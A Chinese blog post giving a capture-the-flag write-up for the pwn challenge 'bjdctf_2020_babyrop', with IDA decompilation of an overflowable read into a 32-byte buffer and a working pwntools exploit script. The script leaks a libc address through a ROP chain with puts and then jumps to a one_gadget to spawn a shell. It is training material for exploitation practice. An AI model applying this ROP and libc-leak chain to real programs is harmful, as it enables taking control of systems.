bjdctf_2020_babyrop

题目链接:bjdctf_2020_babyrop

下载附件后,使用 IDA 反编译,定位到主要函数,如下。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  init();
  vuln();
  return 0;
}

vuln 函数如下。

ssize_t vuln()
{
  char buf[32]; // [rsp+0h] [rbp-20h] BYREF

  puts("Pull up your sword and tell me u story!");
  return read(0, buf, 0x64uLL);
}

解题思路:

  1. 利用栈溢出,泄露 LIBC 基址。
  2. 调用 system 函数 GetShell。

解题脚本如下:

from pwn import *
from pwn import p32, p64, u32, u64
from settings import *
from modules import *

def pwn():
    # 0x0000000000400733 : pop rdi ; ret
    # .text:0000000000400530 ; void __fastcall __noreturn start(__int64, __int64, void (*)(void))
    sa('Pull up your sword and tell me u story!\n', 0x28 * b'a' + \
       p64(0x0000000000400733) + \
       p64(ELF_FILE.got['read']) + p64(ELF_FILE.plt['puts']) + \
        p64(0x0000000000400530) \
        )
    
    LIBC_ADDR = uu64(ru('\x7F')[-6:]) - LIBC_FILE.symbols['read']
    leak('LIBC_ADDR', LIBC_ADDR)

    one = one_gadget(LIBC_ADDR)

    sa('Pull up your sword and tell me u story!\n', 0x28 * b'a' + \
       p64(one[1]) \
        )
    
    irt()

pwn()
posted @ 2025-09-06 13:10  imtaieee  阅读(26)  评论(0)    收藏  举报